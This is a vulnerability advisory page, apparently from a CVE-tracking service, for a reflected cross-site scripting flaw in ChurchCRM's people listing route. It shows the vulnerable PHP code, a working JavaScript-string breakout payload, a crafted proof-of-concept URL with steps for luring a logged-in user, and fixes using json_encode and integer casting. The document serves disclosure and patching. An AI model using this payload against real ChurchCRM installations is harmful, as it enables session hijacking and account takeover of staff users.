CVE-2026-94480churchcrm/crm Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS)
NVD
Vulnerability Summary
Summary A reflected cross-site scripting vulnerability exists in the people listing route. The `AllPDFsEmailed` GET query parameter is interpolated into a `showGlobalMessage()` JavaScript call via `Footer.php` without any output encoding. An attacker can craft a URL that, when visited by an authenticated victim, breaks out of the JavaScript string literal and executes arbitrary JavaScript in the victim's browser. No stored data is required; the payload lives entirely in the URL. Details Source — unfiltered GET param: `src/people/routes/people.php:40–44` ```php $queryParam = $request->getQueryParams()['AllPDFsEmailed'] ?? null; if ($queryParam) { $headerArgs = ['sGlobalMessage' => sprintf(gettext('PDFs successfully emailed to %s families.'), $queryParam), 'sGlobalMessageClass' => 'success']; ``` `$queryParam` is read directly from the HTTP query string with no sanitization. Sink — raw value in JS string literal: `src/Include/Footer.php:132–137` ```php <?php if (isset($sGlobalMessage) && !empty($sGlobalMessage)) { ?> <script nonce="<?= SystemURLs::getCSPNonce() ?>"> $("document").ready(function () { showGlobalMessage("<?= $sGlobalMessage ?>","<?= $sGlobalMessageClass ?>"); }); </script> <?php } ?> ``` `$sGlobalMessage` is echoed raw inside a double-quoted JavaScript string. A `"` followed by `)` closes the string and the function call, allowing a new standalone statement to be injected. No `json_encode`, no `htmlspecialchars`, no escaping of any kind. Breakout: The payload `"); alert(document.domain); //` injected via `AllPDFsEmailed` produces: ```javascript showGlobalMessage("PDFs successfully emailed to "); alert(document.domain); // families.","success"); ``` - `"` closes the string argument - `)` closes `showGlobalMessage(` — completing the call as a valid one-argument invocation - `;` ends the statement - `alert(document.domain)` executes as a new independent statement - `//` comments out the trailing `families.","success");` > ⚠️ Payload construction note: The payload MUST close `)` to complete the `showGlobalMessage(` call before injecting `alert`. Using only `";` (without `)`) places a semicolon inside an unclosed argument list — this is a JavaScript SyntaxError that prevents the entire `<script>` block from executing. The correct breakout is `")` not just `"`. PoC No login required for URL crafting; victim must be authenticated (session cookie required to load the page). Endpoint: `/people/verify` 1. Craft the following URL: ``` http://localhost/people/verify?AllPDFsEmailed=%22)%3B%20alert(document.domain)%3B%20%2F%2F ``` Decoded payload: `"); alert(document.domain); //` 2. Send the link to an authenticated staff member or administrator via email, chat, etc. 3. When the victim loads the URL while logged in, `Footer.php` renders: ```html <script nonce="..."> $("document").ready(function () { showGlobalMessage("PDFs successfully emailed to "); alert(document.domain); // families.","success"); }); </script> ``` 4. `alert(document.domain)` fires, confirming arbitrary JavaScript execution in the victim's session. Impact - Type: CWE-79 — Reflected Cross-Site Scripting (JavaScript string injection). CVSS 3.1 ≈ 6.1 (AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N) — no privilege required to craft the URL. - Who can plant it: Any unauthenticated attacker who can deliver a URL to an authenticated user. - Who is affected: Any authenticated ChurchCRM user who clicks the crafted link. - Consequence: Session hijack, CSRF-token theft, forced admin actions, full account takeover. Suggested Fix Fix 1 — Primary sink: `src/Include/Footer.php:134` Before (vulnerable): ```php showGlobalMessage("<?= $sGlobalMessage ?>","<?= $sGlobalMessageClass ?>"); ``` After (fixed): ```php showGlobalMessage(<?= json_encode($sGlobalMessage) ?>, <?= json_encode($sGlobalMessageClass) ?>); ``` `json_encode()` without flags produces a properly quoted, JavaScript-escaped string literal (escapes `"`, `\`, control characters, and Unicode surrogates). The surrounding PHP double-quote delimiters are removed — `json_encode` outputs them as part of the JS string. This fix also protects all other callers that set `$sGlobalMessage` across the application. Fix 2 — Defence-in-depth: `src/people/routes/people.php:40` Before: ```php $queryParam = $request->getQueryParams()['AllPDFsEmailed'] ?? null; ``` After: ```php $queryParam = isset($request->getQueryParams()['AllPDFsEmailed']) ? (int) $request->getQueryParams()['AllPDFsEmailed'] : null; ``` `AllPDFsEmailed` represents a family count — casting to `int` eliminates any non-numeric content at the source. Combined with the sink fix above, this provides two independent layers of defence.
CVSS v4.0 Base Metrics — Score 5.1
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:L/VI:N/VA:N/SC:N/SI:N/SA:NAttack VectorNetwork
Attack ComplexityLow
Attack RequirementsNone
Privileges RequiredLow
User InteractionPassive
Confidentiality (Vulnerable System)Low
Integrity (Vulnerable System)None
Availability (Vulnerable System)None
Confidentiality (Subsequent System)None
Integrity (Subsequent System)None
Availability (Subsequent System)None
Affected & Patched Versions
- churchcrm/crm < 7.6.0
- churchcrm/crm 7.6.0
What to do
Fix it during your normal patch cycle. No exploitation is confirmed yet.
- Check whether you run churchcrm/crm and which version.
- Update to a patched version listed above, then confirm the new version.
Timeline
- Aug 14, 2026Published
- Aug 14, 2026Record last modified
Score, severity and exploitation changes are tracked from the day Watchtower started logging them.
Get notified about new churchcrm/crm CVEsYou are reading CVE-2026-94480. Get an email when KEV listings, exploits or new CVEs match your stack.
Set up CVE alertsExternal References
Data last checked: Nov 24, 2026 08:00 UTC